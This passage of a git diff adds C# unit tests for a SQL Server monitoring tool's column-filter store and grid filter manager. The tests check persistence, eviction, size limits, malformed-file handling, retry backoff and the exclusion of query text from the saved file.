+
+    [Fact]
+    public void A_cleared_filter_is_removed_from_the_file()
+    {
+        var store = NewStore();
+        store.Save("srv-a", "GridOne", new[] { Hide("LoginName", "a") });
+        store.Flush();
+        store.Save("srv-a", "GridOne", new[] { new ColumnFilterState { ColumnName = "LoginName" } });
+        store.Flush();
+
+        Assert.Empty(NewStore().Load("srv-a", "GridOne"));
+        Assert.DoesNotContain("srv-a", File.ReadAllText(FilePath), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void Only_the_200_most_recently_used_grids_are_kept()
+    {
+        var store = NewStore();
+        for (var i = 0; i < 205; i++)
+            store.Save("srv", "Grid" + i, new[] { Hide("c", "v") });
+        store.Load("srv", "Grid0"); // not evicted yet? it was: the first five went when 201..205 arrived
+        store.Flush();
+
+        var restarted = NewStore();
+        Assert.Empty(restarted.Load("srv", "Grid0"));
+        Assert.Empty(restarted.Load("srv", "Grid4"));
+        Assert.Single(restarted.Load("srv", "Grid5"));
+        Assert.Single(restarted.Load("srv", "Grid204"));
+    }
+
+    [Fact]
+    public void Using_a_grid_keeps_it_when_older_ones_are_dropped()
+    {
+        var store = NewStore();
+        for (var i = 0; i < 200; i++)
+            store.Save("srv", "Grid" + i, new[] { Hide("c", "v") });
+        store.Load("srv", "Grid0"); // the oldest becomes the newest
+        store.Save("srv", "Extra", new[] { Hide("c", "v") }); // 201st: Grid1 goes, not Grid0
+        store.Flush();
+
+        var restarted = NewStore();
+        Assert.Single(restarted.Load("srv", "Grid0"));
+        Assert.Empty(restarted.Load("srv", "Grid1"));
+        Assert.Single(restarted.Load("srv", "Extra"));
+    }
+
+    [Fact]
+    public void A_column_naming_more_than_1000_values_keeps_its_text_match_and_loses_only_the_value_part()
+    {
+        var store = NewStore();
+        var big = Hide("Big", Enumerable.Range(0, 1001).Select(i => "v" + i).ToArray());
+        big.ValueBlank = true;
+        big.Value = "v1";
+        var bigNoText = Hide("BigNoText", Enumerable.Range(0, 1001).Select(i => "v" + i).ToArray());
+        var edge = Hide("Edge", Enumerable.Range(0, 1000).Select(i => "v" + i).ToArray());
+        store.Save("srv", "Grid", new[] { big, bigNoText, edge });
+        store.Flush();
+
+        var loaded = NewStore().Load("srv", "Grid");
+
+        /* the web page does the same: a cut set would change what it hides, but the text match fits and stays */
+        Assert.Equal(new[] { "Big", "Edge" }, loaded.Select(f => f.ColumnName).OrderBy(n => n));
+        var kept = loaded.Single(f => f.ColumnName == "Big");
+        Assert.Equal(ColumnValueMode.None, kept.ValueMode);
+        Assert.Empty(kept.Values);
+        Assert.False(kept.ValueBlank);
+        Assert.Equal("v1", kept.Value);
+        Assert.Equal(1000, loaded.Single(f => f.ColumnName == "Edge").Values.Count);
+    }
+
+    [Fact]
+    public void A_text_match_on_a_column_that_gets_no_list_is_never_written_but_one_on_a_list_column_is()
+    {
+        var store = NewStore();
+        var statement = new ColumnFilterState { ColumnName = "QueryText", Value = "salary > 90000" };
+        var script = new ColumnFilterState { ColumnName = "ImplementationScript", Value = "force_plan" };
+        var error = new ColumnFilterState { ColumnName = "LastError", Value = "login failed for" };
+        var login = new ColumnFilterState { ColumnName = "LoginName", Value = "svc_" };
+        store.Save("srv", "Grid", new[] { statement, script, error, login });
+        store.Flush();
+
+        var text = File.ReadAllText(FilePath);
+        Assert.DoesNotContain("salary", text, StringComparison.Ordinal);
+        Assert.DoesNotContain("force_plan", text, StringComparison.Ordinal);
+        Assert.DoesNotContain("login failed", text, StringComparison.Ordinal);
+        Assert.Equal("LoginName", Assert.Single(NewStore().Load("srv", "Grid")).ColumnName);
+
+        /* and one planted in the file is not loaded either */
+        File.WriteAllText(FilePath, "{\"Version\":1,\"Grids\":[{\"Server\":\"s\",\"Grid\":\"g\",\"Columns\":[" +
+            "{\"Column\":\"QueryText\",\"Operator\":\"Contains\",\"Value\":\"x\"},{\"Column\":\"LoginName\",\"Operator\":\"Contains\",\"Value\":\"y\"}]}]}");
+        Assert.Equal("LoginName", Assert.Single(NewStore().Load("s", "g")).ColumnName);
+    }
+
+    [Fact]
+    public void The_stored_limits_apply_when_the_file_is_read_too()
+    {
+        var many = string.Join(",", Enumerable.Range(0, 1001).Select(i => "\"v" + i + "\""));
+        var longValue = new string('x', ColumnFilterStore.MaxValueLength + 1);
+        var grids = new List<string>
+        {
+            /* too many values: the value part goes, the text match stays */
+            "{\"Server\":\"s\",\"Grid\":\"many\",\"Columns\":[{\"Column\":\"LoginName\",\"Operator\":\"Contains\",\"Value\":\"t\",\"ValueMode\":\"Hide\",\"Values\":[" + many + "]}]}",
+            /* a value too long: the same */
+            "{\"Server\":\"s\",\"Grid\":\"longvalue\",\"Columns\":[{\"Column\":\"LoginName\",\"Value\":\"t\",\"ValueMode\":\"Hide\",\"Values\":[\"" + longValue + "\"]}]}",
+            /* a text match too long: it goes, the value part stays */
+            "{\"Server\":\"s\",\"Grid\":\"longtext\",\"Columns\":[{\"Column\":\"LoginName\",\"Value\":\"" + longValue + "\",\"ValueMode\":\"Hide\",\"Values\":[\"a\"]}]}",
+            /* a mode and an operator this version does not know: not match-all */
+            "{\"Server\":\"s\",\"Grid\":\"badenum\",\"Columns\":[{\"Column\":\"LoginName\",\"Operator\":\"99\",\"ValueMode\":\"99\",\"Values\":[\"a\"]}]}",
+            /* a column name that is too long */
+            "{\"Server\":\"s\",\"Grid\":\"longcolumn\",\"Columns\":[{\"Column\":\"" + longValue + "\",\"Value\":\"t\"}]}",
+        };
+        File.WriteAllText(FilePath, "{\"Version\":1,\"Grids\":[" + string.Join(",", grids) + "]}");
+        var warnings = new List<string>();
+        var store = NewStore(warnings);
+
+        var many1 = Assert.Single(store.Load("s", "many"));
+        Assert.Equal(ColumnValueMode.None, many1.ValueMode);
+        Assert.Equal("t", many1.Value);
+        var longv = Assert.Single(store.Load("s", "longvalue"));
+        Assert.Equal(ColumnValueMode.None, longv.ValueMode);
+        Assert.Equal("t", longv.Value);
+        var longt = Assert.Single(store.Load("s", "longtext"));
+        Assert.Equal("", longt.Value);
+        Assert.Equal(ColumnValueMode.Hide, longt.ValueMode);
+        Assert.Empty(store.Load("s", "badenum"));
+        Assert.Empty(store.Load("s", "longcolumn"));
+        Assert.Empty(warnings);
+    }
+
+    [Fact]
+    public void A_file_with_more_than_200_grids_or_200_columns_keeps_only_the_newest_grids_and_the_first_columns()
+    {
+        var grids = Enumerable.Range(0, 300).Select(i =>
+            "{\"Server\":\"s\",\"Grid\":\"g" + i + "\",\"Columns\":[{\"Column\":\"LoginName\",\"Value\":\"t\"}]}");
+        File.WriteAllText(FilePath, "{\"Version\":1,\"Grids\":[" + string.Join(",", grids) + "]}");
+        var store = NewStore();
+
+        Assert.Empty(store.Load("s", "g99"));
+        Assert.Single(store.Load("s", "g100"));
+        Assert.Single(store.Load("s", "g299"));
+
+        var columns = string.Join(",", Enumerable.Range(0, 250).Select(i => "{\"Column\":\"C" + i + "\",\"Value\":\"t\"}"));
+        File.WriteAllText(FilePath, "{\"Version\":1,\"Grids\":[{\"Server\":\"s\",\"Grid\":\"wide\",\"Columns\":[" + columns + "]}]}");
+        Assert.Equal(ColumnFilterStore.MaxColumnsPerGrid, NewStore().Load("s", "wide").Count);
+    }
+
+    [Fact]
+    public void A_null_or_wrong_typed_entry_is_skipped_and_the_rest_of_the_file_is_used()
+    {
+        File.WriteAllText(FilePath, "{\"Version\":1,\"Grids\":[null,5,\"x\",[1]," +
+            "{\"Server\":\"s\",\"Grid\":\"g\",\"Columns\":[null,7,\"x\",{\"Column\":5},{\"Column\":\"LoginName\",\"Value\":\"ok\",\"Values\":[null,1]}," +
+            "{\"Column\":\"HostName\",\"Value\":\"h\",\"ValueMode\":\"Hide\",\"Values\":[\"a\",null]}]}," +
+            "{\"Server\":5,\"Grid\":\"g2\",\"Columns\":[]},{\"Server\":\"s\",\"Grid\":\"g3\",\"Columns\":null}]}");
+        var warnings = new List<string>();
+        var store = NewStore(warnings);
+
+        var loaded = store.Load("s", "g");
+        Assert.Equal(new[] { "HostName", "LoginName" }, loaded.Select(f => f.ColumnName).OrderBy(n => n));
+        Assert.Equal("ok", loaded.Single(f => f.ColumnName == "LoginName").Value);
+        /* a null among the values makes that value part unusable, not the column */
+        Assert.Equal(ColumnValueMode.None, loaded.Single(f => f.ColumnName == "HostName").ValueMode);
+        Assert.Empty(store.Load("s", "g2"));
+        Assert.Empty(store.Load("s", "g3"));
+        Assert.Empty(warnings);
+    }
+
+    [Fact]
+    public void A_file_over_the_size_limit_or_nested_too_deep_is_ignored_whole_with_one_warning()
+    {
+        using (var stream = new FileStream(FilePath, FileMode.Create))
+            stream.SetLength(ColumnFilterStore.MaxFileBytes + 1);
+        var warnings = new List<string>();
+        var big = NewStore(warnings);
+        Assert.Empty(big.Load("s", "g"));
+        Assert.Empty(big.Load("s", "g"));
+        Assert.Single(warnings);
+
+        File.WriteAllText(FilePath, "{\"Version\":1,\"Grids\":" + new string('[', 100) + new string(']', 100) + "}");
+        warnings.Clear();
+        var deep = NewStore(warnings);
+        Assert.Empty(deep.Load("s", "g"));
+        Assert.Single(warnings);
+    }
+
+    [Fact]
+    public void A_failed_save_is_retried_on_the_next_tick_and_warned_once_per_run()
+    {
+        var warnings = new List<string>();
+        var store = new ColumnFilterStore(FilePath, warnings.Add, TimeSpan.FromMilliseconds(50));
+        Directory.CreateDirectory(FilePath + ".tmp"); // the temp file cannot be written
+        store.Save("srv", "Grid", new[] { Hide("c", "v") });
+
+        store.Flush();
+        store.Flush();
+        store.Flush();
+        Assert.Single(warnings);
+        Assert.False(File.Exists(FilePath));
+
+        Directory.Delete(FilePath + ".tmp"); // the cause goes away: the debounce timer's own tick writes the file
+        var deadline = DateTime.UtcNow.AddSeconds(15);
+        while (!File.Exists(FilePath) && DateTime.UtcNow < deadline)
+            Thread.Sleep(50);
+
+        Assert.True(File.Exists(FilePath), "the failed save was never retried");
+        Assert.Single(warnings);
+        Assert.Single(NewStore().Load("srv", "Grid"));
+        store.Dispose();
+    }
+
+    [Fact]
+    public void A_save_that_keeps_failing_backs_off_from_the_debounce_up_to_a_minute_and_a_good_save_resets_it()
+    {
+        var failing = true;
+        var warnings = new List<string>();
+        var store = new ColumnFilterStore(FilePath, warnings.Add, TimeSpan.FromSeconds(10),
+            (path, text) => { if (failing) throw new IOException("the disk is full"); File.WriteAllText(path, text); });
+        store.Save("srv", "Grid", new[] { Hide("c", "v") });
+        Assert.Equal(TimeSpan.FromSeconds(10), store.RetryDelay);
+
+        var seen = new List<double>();
+        for (var i = 0; i < 6; i++)
+        {
+            store.Flush();
+            seen.Add(store.RetryDelay.TotalSeconds);
+        }
+
+        // 10 s after the first failure, then doubling, never more than 60 s.
+        Assert.Equal(new[] { 10d, 20d, 40d, 60d, 60d, 60d }, seen);
+        Assert.Single(warnings);
+        Assert.Contains("is tried again in 10 seconds", warnings[0], StringComparison.Ordinal);
+        Assert.Contains("up to 60 seconds", warnings[0], StringComparison.Ordinal);
+        Assert.DoesNotContain("each change", warnings[0], StringComparison.Ordinal);
+
+        failing = false;
+        store.Flush();
+        Assert.True(File.Exists(FilePath));
+        Assert.Equal(TimeSpan.FromSeconds(10), store.RetryDelay);
+        store.Dispose();
+    }
+
+    [Fact]
+    public void A_slow_write_does_not_hold_up_Load_or_Save()
+    {
+        using var writing = new ManualResetEventSlim(false);
+        using var release = new ManualResetEventSlim(false);
+        var store = new ColumnFilterStore(FilePath, null, TimeSpan.FromHours(1), (path, text) =>
+        {
+            writing.Set();
+            release.Wait(TimeSpan.FromSeconds(30));
+            File.WriteAllText(path, text);
+        });
+        store.Save("srv", "Grid", new[] { Hide("c", "v") });
+        var flush = new Thread(store.Flush) { IsBackground = true };
+        flush.Start();
+        Assert.True(writing.Wait(TimeSpan.FromSeconds(15)), "the write never started");
+
+        // The file I/O is outside the store's lock: a grid's Load and Save on the UI thread do not wait for it.
+        var loadedCount = -1;
+        var meanwhile = new Thread(() =>
+        {
+            loadedCount = store.Load("srv", "Grid").Count;
+            store.Save("srv", "Other", new[] { Hide("d", "w") });
+        }) { IsBackground = true };
+        meanwhile.Start();
+        var finished = meanwhile.Join(TimeSpan.FromSeconds(5));
+        release.Set();
+        flush.Join(TimeSpan.FromSeconds(15));
+        Assert.True(finished, "Load and Save waited for the file write");
+        Assert.Equal(1, loadedCount);
+
+        // The change made during the write is not lost: the store is still dirty, and the next flush writes it.
+        store.Flush();
+        Assert.Single(NewStore().Load("srv", "Other"));
+        store.Dispose();
+    }
+
+    [Fact]
+    public void The_same_server_and_grid_twice_in_a_file_keeps_the_last_copy_so_Load_and_Save_agree()
+    {
+        File.WriteAllText(FilePath, "{\"Version\":1,\"Grids\":[" +
+            "{\"Server\":\"s\",\"Grid\":\"g\",\"Columns\":[{\"Column\":\"LoginName\",\"Value\":\"old\"}]}," +
+            "{\"Server\":\"s\",\"Grid\":\"other\",\"Columns\":[{\"Column\":\"HostName\",\"Value\":\"h\"}]}," +
+            "{\"Server\":\"s\",\"Grid\":\"g\",\"Columns\":[{\"Column\":\"LoginName\",\"Value\":\"first\"}," +
+            "{\"Column\":\"HostName\",\"Value\":\"h2\"},{\"Column\":\"LoginName\",\"Value\":\"last\"}]}]}");
+        var store = NewStore();
+
+        var loaded = store.Load("s", "g");
+        Assert.Equal(2, loaded.Count);
+        Assert.Equal("last", loaded.Single(f => f.ColumnName == "LoginName").Value);
+        Assert.Equal("h2", loaded.Single(f => f.ColumnName == "HostName").Value);
+
+        // Saving the grid replaces the one entry: the older copy does not come back on the next read.
+        store.Save("s", "g", Array.Empty<ColumnFilterState>());
+        store.Flush();
+        var again = NewStore();
+        Assert.Empty(again.Load("s", "g"));
+        Assert.Single(again.Load("s", "other"));
+        store.Dispose();
+    }
+
+    [Fact]
+    public void A_write_goes_through_a_temp_file_so_a_failed_write_leaves_the_old_file_whole()
+    {
+        var warnings = new List<string>();
+        var store = NewStore(warnings);
+        store.Save("srv", "One", new[] { Hide("c", "v") });
+        store.Flush();
+        var before = File.ReadAllBytes(FilePath);
+
+        /* the temp file cannot be written: a write straight into the real file would change it, replacing the temp file does not */
+        Directory.CreateDirectory(FilePath + ".tmp");
+        store.Save("srv", "Two", new[] { Hide("c", "w") });
+        store.Flush();
+
+        Assert.Single(warnings);
+        Assert.Equal(before, File.ReadAllBytes(FilePath));
+        Assert.Single(NewStore().Load("srv", "One"));
+        Assert.Empty(NewStore().Load("srv", "Two"));
+    }
+
+    [Fact]
+    public void A_file_left_in_the_old_place_is_moved_to_the_new_one_once_and_deleted()
+    {
+        var legacy = Path.Combine(_dir, "roaming", "column-filters.json");
+        Directory.CreateDirectory(Path.GetDirectoryName(legacy)!);
+        var seed = NewStore();
+        seed.Save("srv", "Grid", new[] { Hide("c", "v") });
+        seed.Flush();
+        File.Move(FilePath, legacy);
+
+        var target = Path.Combine(_dir, "local", "column-filters.json");
+        ColumnFilterStore.Install(target, null, legacy);
+        try
+        {
+            Assert.False(File.Exists(legacy));
+            Assert.True(File.Exists(target));
+            Assert.Single(ColumnFilterStore.Current!.Load("srv", "Grid"));
+        }
+        finally
+        {
+            ColumnFilterStore.Current = null;
+        }
+
+        /* when the new place already has a file, the old one is only deleted */
+        File.WriteAllText(legacy, "{\"Version\":1,\"Grids\":[]}");
+        ColumnFilterStore.MigrateLegacyFile(legacy, target);
+        Assert.False(File.Exists(legacy));
+        Assert.True(File.Exists(target));
+    }
+
+    [Theory]
+    [InlineData("this is not json {")]
+    [InlineData("{\"version\": 99, \"grids\": []}")]
+    [InlineData("[1,2,3]")]
+    [InlineData("")]
+    public void A_file_that_cannot_be_read_is_reported_once_and_ignored(string content)
+    {
+        File.WriteAllText(FilePath, content);
+        var warnings = new List<string>();
+        var store = NewStore(warnings);
+
+        Assert.Empty(store.Load("srv", "Grid"));
+        Assert.Empty(store.Load("srv", "Grid"));
+        store.Save("srv", "Grid", new[] { Hide("c", "v") });
+        Assert.Single(store.Load("srv", "Grid"));
+        Assert.Single(warnings);
+    }
+
+    [Fact]
+    public void A_missing_file_is_a_first_run_and_says_nothing()
+    {
+        var warnings = new List<string>();
+        Assert.Empty(NewStore(warnings).Load("srv", "Grid"));
+        Assert.Empty(warnings);
+    }
+
+    [Fact]
+    public void The_file_holds_the_ticked_values_and_the_keys_and_no_row_data()
+    {
+        var store = NewStore();
+        store.Save("srv-a", "QuerySnapshotsGrid", new[] { Hide("LoginName", "job_svc") });
+        store.Flush();
+
+        var text = File.ReadAllText(FilePath);
+        Assert.Contains("job_svc", text, StringComparison.Ordinal);
+        Assert.Contains("QuerySnapshotsGrid", text, StringComparison.Ordinal);
+        Assert.False(File.Exists(FilePath + ".tmp"), "the temp file is replaced away");
+    }
+
+    [Fact]
+    public void Writes_are_debounced_until_the_flush()
+    {
+        var store = NewStore(); // an hour's debounce
+        store.Save("srv", "Grid", new[] { Hide("c", "v") });
+
+        Assert.False(File.Exists(FilePath));
+        store.Flush();
+        Assert.True(File.Exists(FilePath));
+    }
+
+    [Fact]
+    public void Writes_replace_the_old_file_in_one_step()
+    {
+        var store = NewStore();
+        store.Save("srv", "One", new[] { Hide("c", "v") });
+        store.Flush();
+        store.Save("srv", "Two", new[] { Hide("c", "v") });
+        store.Flush();
+
+        var restarted = NewStore();
+        Assert.Single(restarted.Load("srv", "One"));
+        Assert.Single(restarted.Load("srv", "Two"));
+        Assert.False(File.Exists(FilePath + ".tmp"));
+    }
+
+    // ---- the grid manager -------------------------------------------------
+
+    private sealed class LoginRow
+    {
+        public string? LoginName { get; set; }
+        public int SessionId { get; set; }
+        public string? QueryText { get; set; }
+        public string? Detail { get; set; }
+    }
+
+    private static DataGrid NewGrid(string? name, string? server)
+    {
+        var grid = new DataGrid { AutoGenerateColumns = false };
+        if (name is not null) grid.Name = name;
+        if (server is not null) ColumnFilterScope.SetServer(grid, server);
+        foreach (var path in new[] { "LoginName", "SessionId", "QueryText" })
+            grid.Columns.Add(new DataGridTextColumn { Header = path, Binding = new Binding(path) });
+        return grid;
+    }
+
+    private static List<LoginRow> Rows(params string?[] logins) =>
+        logins.Select((l, i) => new LoginRow { LoginName = l, SessionId = i }).ToList();
+
+    private static List<string?> Shown(DataGrid grid) =>
+        grid.Items.OfType<LoginRow>().Select(r => r.LoginName).ToList();
+
+    private static void Untick(IDataGridFilterManager manager, string column, string value)
+    {
+        var model = new ColumnValueListModel(manager.GetValueCatalog(column)!, manager.Filters.GetValueOrDefault(column));
+        model.Entries.Single(e => e.Value == value).IsTicked = false;
+        var state = new ColumnFilterState { ColumnName = column };
+        model.ApplyTo(state);
+        manager.SetFilter(state);
+    }
+
+    [Fact]
+    public void A_text_match_on_a_query_text_column_lasts_the_session_but_is_not_stored()
+    {
+        var kept = StaTestThread.Run(() =>
+        {
+            var store = NewStore();
+            ColumnFilterStore.Current = store;
+            var grid = NewGrid("QuerySnapshotsGrid", "srv-a");
+            var manager = new DataGridFilterManager<LoginRow>(grid);
+            var rows = new List<LoginRow>
+            {
+                new() { LoginName = "sa", QueryText = "select salary from pay" },
+                new() { LoginName = "app", QueryText = "select 1" },
+            };
+            manager.UpdateData(rows);
+            manager.SetFilter(new ColumnFilterState { ColumnName = "QueryText", Value = "salary" });
+            manager.SetFilter(new ColumnFilterState { ColumnName = "LoginName", Value = "sa" });
+
+            /* a refresh keeps both for the session */
+            manager.UpdateData(rows);
+            var afterRefresh = Shown(grid);
+            store.Flush();
+            store.Dispose();
+
+            var restarted = NewStore();
+            ColumnFilterStore.Current = restarted;
+            var again = new DataGridFilterManager<LoginRow>(NewGrid("QuerySnapshotsGrid", "srv-a"));
+            again.UpdateData(rows);
+            return (afterRefresh, again.Filters.Keys.OrderBy(k => k).ToList());
+        });
+
+        Assert.Equal(new string?[] { "sa" }, kept.afterRefresh);
+        Assert.Equal(new[] { "LoginName" }, kept.Item2);
+        Assert.DoesNotContain("salary", File.ReadAllText(FilePath), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void A_filter_survives_a_refresh_and_a_value_that_first_appears_later_still_shows()
+    {
+        StaTestThread.Run(() =>
+        {
+            var grid = NewGrid("G", null);
+            var manager = new DataGridFilterManager<LoginRow>(grid);
+            manager.UpdateData(Rows("sa", "app", "job_svc"));
+            Untick(manager, "LoginName", "job_svc");
+
+            Assert.Equal(new string?[] { "sa", "app" }, Shown(grid));
+
+            manager.UpdateData(Rows("sa", "app", "job_svc", "newuser"));
+            Assert.Equal(new string?[] { "sa", "app", "newuser" }, Shown(grid));
+            Assert.True(manager.AnyFilterActive);
+            return true;
+        });
+    }
+
+    [Fact]
+    public void The_value_list_comes_from_the_unfiltered_rows_not_the_ones_shown()
+    {
+        StaTestThread.Run(() =>
+        {
+            var grid = NewGrid("G", null);
+            var manager = new DataGridFilterManager<LoginRow>(grid);
+            manager.UpdateData(Rows("sa", "app", "job_svc"));
+            Untick(manager, "LoginName", "job_svc");
+
+            var catalog = manager.GetValueCatalog("LoginName")!;
+            Assert.Equal(new[] { "app", "job_svc", "sa" }, catalog.Values);
+            return true;
+        });
+    }
+
+    [Fact]
+    public void Number_query_text_and_prose_columns_and_columns_the_row_lacks_get_no_list()
+    {
+        StaTestThread.Run(() =>
+        {
+            var grid = NewGrid("G", null);
+            var manager = new DataGridFilterManager<LoginRow>(grid);
+            Assert.Null(manager.GetValueCatalog("LoginName")); // no rows yet
+            manager.UpdateData(Rows("sa"));
+
+            Assert.NotNull(manager.GetValueCatalog("LoginName"));
+            Assert.Null(manager.GetValueCatalog("SessionId"));
+            Assert.Null(manager.GetValueCatalog("QueryText"));
+            Assert.Null(manager.GetValueCatalog("Detail"));
+            Assert.Null(manager.GetValueCatalog("NoSuchColumn"));
+            return true;
+        });
+    }
+
+    [Fact]
+    public void A_text_column_that_sorts_by_another_member_gets_no_list()
+    {
+        StaTestThread.Run(() =>
+        {
+            var grid = NewGrid("G", null);
+            ((DataGridTextColumn)grid.Columns[0]).SortMemberPath = "SessionId";
+            var manager = new DataGridFilterManager<LoginRow>(grid);
+            manager.UpdateData(Rows("sa"));
+
+            Assert.Null(manager.GetValueCatalog("LoginName"));
+            return true;
+        });
+    }
+
+    [Fact]
+    public void A_column_with_a_value_over_256_characters_gets_no_list()
+    {
+        StaTestThread.Run(() =>
+        {
+            var grid = NewGrid("G", null);
+            var manager = new DataGridFilterManager<LoginRow>(grid);
+            manager.UpdateData(Rows("sa", new string('x', 257)));
+
+            Assert.Null(manager.GetValueCatalog("LoginName"));
+            return true;
+        });
+    }
+
+    [Fact]
+    public void A_filter_set_in_one_session_is_loaded_by_the_next_on_its_first_refresh()
+    {
+        var shown = StaTestThread.Run(() =>
+        {
+            var store = NewStore();
+            ColumnFilterStore.Current = store;
+            var grid = NewGrid("QuerySnapshotsGrid", "srv-a");
+            var manager = new DataGridFilterManager<LoginRow>(grid);
+            manager.UpdateData(Rows("sa", "app", "job_svc"));
+            Untick(manager, "LoginName", "job_svc");
+            store.Flush();
+            store.Dispose();
+
+            /* a restart: a new store over the same file, a new grid, a new manager */
+            var restarted = NewStore();
+            ColumnFilterStore.Current = restarted;
+            var grid2 = NewGrid("QuerySnapshotsGrid", "srv-a");
+            var manager2 = new DataGridFilterManager<LoginRow>(grid2);
+            manager2.UpdateData(Rows("sa", "app", "job_svc", "newuser"));
+            return Shown(grid2);
+        });
+
+        Assert.Equal(new string?[] { "sa", "app", "newuser" }, shown);
+    }
+
+    [Fact]
+    public void A_cross_server_list_under_the_all_servers_scope_keeps_its_filters_across_a_restart()
+    {
+        var shown = StaTestThread.Run(() =>
+        {
+            var store = NewStore();
+            ColumnFilterStore.Current = store;
+            var manager = new DataGridFilterManager<LoginRow>(NewGrid("AlertsDataGrid", ColumnFilterScope.AllServers));
+            manager.UpdateData(Rows("sa", "app", "job_svc"));
+            Untick(manager, "LoginName", "job_svc");
+            store.Flush();
+            store.Dispose();
+
+            ColumnFilterStore.Current = NewStore();
+            var grid = NewGrid("AlertsDataGrid", ColumnFilterScope.AllServers);
+            new DataGridFilterManager<LoginRow>(grid).UpdateData(Rows("sa", "app", "job_svc"));
+            return Shown(grid);
+        });
+
+        Assert.Equal(new string?[] { "sa", "app" }, shown);
+        Assert.StartsWith("\u0001", ColumnFilterScope.AllServers, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void Another_servers_filters_do_not_apply_and_a_grid_without_a_name_or_scope_is_not_stored()
+    {
+        StaTestThread.Run(() =>
+        {
+            var store = NewStore();
+            ColumnFilterStore.Current = store;
+
+            var grid = NewGrid("G", "srv-a");
+            var manager = new DataGridFilterManager<LoginRow>(grid);
+            manager.UpdateData(Rows("sa", "job_svc"));
+            Untick(manager, "LoginName", "job_svc");
+
+            var other = NewGrid("G", "srv-b");
+            var otherManager = new DataGridFilterManager<LoginRow>(other);
+            otherManager.UpdateData(Rows("sa", "job_svc"));
+            Assert.Equal(new string?[] { "sa", "job_svc" }, Shown(other));
+
+            var unnamed = NewGrid(null, "srv-a");
+            var unnamedManager = new DataGridFilterManager<LoginRow>(unnamed);
+            unnamedManager.UpdateData(Rows("sa", "job_svc"));
+            Untick(unnamedManager, "LoginName", "job_svc");
+
+            var unscoped = NewGrid("G", null);
+            var unscopedManager = new DataGridFilterManager<LoginRow>(unscoped);
+            unscopedManager.UpdateData(Rows("sa", "job_svc"));
+            Untick(unscopedManager, "LoginName", "job_svc");
+
+            Assert.Single(store.Load("srv-a", "G"));
+            Assert.Empty(store.Load("srv-a", ""));
+            return true;
+        });
+    }
+
+    [Fact]
+    public void A_stored_filter_on_a_column_the_grid_no_longer_has_is_ignored()
+    {
+        StaTestThread.Run(() =>
+        {
+            var store = NewStore();
+            store.Save("srv-a", "G", new[] { Hide("RetiredColumn", "x"), Hide("LoginName", "job_svc") });
+            ColumnFilterStore.Current = store;
+
+            var grid = NewGrid("G", "srv-a");
+            var manager = new DataGridFilterManager<LoginRow>(grid);
+            manager.UpdateData(Rows("sa", "job_svc"));
+
+            Assert.Equal(new[] { "LoginName" }, manager.Filters.Keys);
+            Assert.Equal(new string?[] { "sa" }, Shown(grid));
+            return true;
+        });
+    }
+
+    [Fact]
+    public void Clear_all_filters_clears_the_grid_and_the_stored_copy_but_a_server_switch_does_not()
+    {
+        StaTestThread.Run(() =>
+        {
+            var store = NewStore();
+            ColumnFilterStore.Current = store;
+            var grid = NewGrid("G", "srv-a");
+            var manager = new DataGridFilterManager<LoginRow>(grid);
+            manager.UpdateData(Rows("sa", "job_svc"));
+            Untick(manager, "LoginName", "job_svc");
+
+            manager.ClearFilters(); // #2306: a context change
+            Assert.Equal(2, Shown(grid).Count);
+            Assert.Single(store.Load("srv-a", "G")); // still stored for that server
+
+            manager.UpdateData(Rows("sa", "job_svc")); // the next refresh loads what is stored for the scope
+            Assert.Equal(new string?[] { "sa" }, Shown(grid));
+
+            manager.ClearAllFilters(); // the user
+            Assert.Equal(2, Shown(grid).Count);
+            Assert.False(manager.AnyFilterActive);
+            Assert.Empty(store.Load("srv-a", "G"));
+
+            manager.UpdateData(Rows("sa", "job_svc"));
+            Assert.Equal(2, Shown(grid).Count);
+            return true;
+        });
+    }
+
+    [Fact]
+    public void A_server_switch_loads_the_new_servers_own_filters()
+    {
+        StaTestThread.Run(() =>
+        {
+            var store = NewStore();
+            store.Save("srv-b", "G", new[] { Hide("LoginName", "sa") });
+            ColumnFilterStore.Current = store;
+            var grid = NewGrid("G", "srv-a");
+            var manager = new DataGridFilterManager<LoginRow>(grid);
+            manager.UpdateData(Rows("sa", "job_svc"));
+            Assert.Equal(2, Shown(grid).Count);
+
+            ColumnFilterScope.SetServer(grid, "srv-b"); // the FinOps selector changes server
+            manager.ClearFilters();
+            manager.UpdateData(Rows("sa", "job_svc"));
+
+            Assert.Equal(new string?[] { "job_svc" }, Shown(grid));
+            return true;
+        });
+    }
+
+    [Fact]
+    public void A_store_that_fails_never_blocks_the_grid()
+    {
+        StaTestThread.Run(() =>
+        {
+            File.WriteAllText(FilePath, "garbage");
+            ColumnFilterStore.Current = NewStore();
+            var grid = NewGrid("G", "srv-a");
+            var manager = new DataGridFilterManager<LoginRow>(grid);
+
+            manager.UpdateData(Rows("sa", "job_svc"));
+            Untick(manager, "LoginName", "job_svc");
+
+            Assert.Equal(new string?[] { "sa" }, Shown(grid));
+            return true;
+        });
+    }
+}
diff --git a/Darling/Darling.Tests/ColumnFilterPopupTests.cs b/Darling/Darling.Tests/ColumnFilterPopupTests.cs
new file mode 100644
index 0000000000..0c0f2385a4
--- /dev/null
+++ b/Darling/Darling.Tests/ColumnFilterPopupTests.cs
@@ -0,0 +1,323 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Windows;
+using System.Windows.Controls;
+using System.Windows.Controls.Primitives;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Ui;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The column filter popup's value list (#5565) as the controls show it: the list section appears only for a column
+/// with a catalog, search narrows it, Select All and the entries' ticks reach the applied filter, the notes, and
+/// "Clear all filters" shows only when the grid has a filter and raises its own event.
+/// </summary>
+public sealed class ColumnFilterPopupTests
+{
+    private static T Find<T>(DependencyObject root, Func<T, bool> where) where T : DependencyObject
+    {
+        foreach (var child in LogicalTreeHelper.GetChildren(root).OfType<DependencyObject>())
+        {
+            if (child is T hit && where(hit))
+                return hit;
+            try { return Find(child, where); } catch (InvalidOperationException) { }
+        }
+        throw new InvalidOperationException("not found");
+    }
+
+    private static Button ButtonNamed(ColumnFilterPopup popup, string content) =>
+        Find<Button>(popup, b => b.Content as string == content);
+
